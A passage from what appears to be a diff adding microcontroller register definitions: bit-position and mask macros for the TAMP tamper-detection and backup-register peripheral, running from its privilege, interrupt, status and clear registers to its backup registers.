*/ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30UL) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31UL) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0UL) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1UL) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2UL) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3UL) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4UL) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5UL) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6UL) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7UL) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16UL) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17UL) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18UL) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20UL) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21UL) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22UL) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23UL) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24UL) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26UL) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27UL) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28UL) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0UL) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1UL) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2UL) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3UL) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4UL) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5UL) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6UL) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7UL) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16UL) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17UL) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18UL) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP5F_Pos (20UL) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21UL) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22UL) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23UL) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24UL) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26UL) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27UL) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28UL) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0UL) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1UL) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2UL) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3UL) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4UL) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5UL) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6UL) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7UL) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16UL) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17UL) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18UL) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20UL) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21UL) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22UL) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23UL) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24UL) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26UL) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27UL) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28UL) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0UL) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1UL) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2UL) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3UL) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4UL) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5UL) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6UL) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7UL) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16UL) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17UL) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18UL) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20UL) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21UL) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22UL) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23UL) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24UL) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26UL) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27UL) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28UL) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0UL) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1UL) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2UL) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3UL) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4UL) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5UL) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6UL) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7UL) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16UL) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17UL) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18UL) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20UL) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21UL) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22UL) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23UL) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24UL) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26UL) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27UL) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28UL) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk + +/******************** Bits definition for TAMP_COUNTR register ***************/ +#define TAMP_COUNTR_Pos (16UL) +#define TAMP_COUNTR_Msk (0xFFFFUL << TAMP_COUNTR_Pos) /*!< 0xFFFF0000 */ +#define TAMP_COUNTR TAMP_COUNTR_Msk + +/******************** Bits definition for TAMP_ERCFGR register ***************/ +#define TAMP_ERCFGR0_Pos (0UL) +#define TAMP_ERCFGR0_Msk (0x1UL << TAMP_ERCFGR0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR0 TAMP_ERCFGR0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0UL) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0UL) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0UL) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0UL) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0UL) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0UL) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0UL) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0UL) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0UL) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0UL) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0UL) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0UL) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0UL) +#define 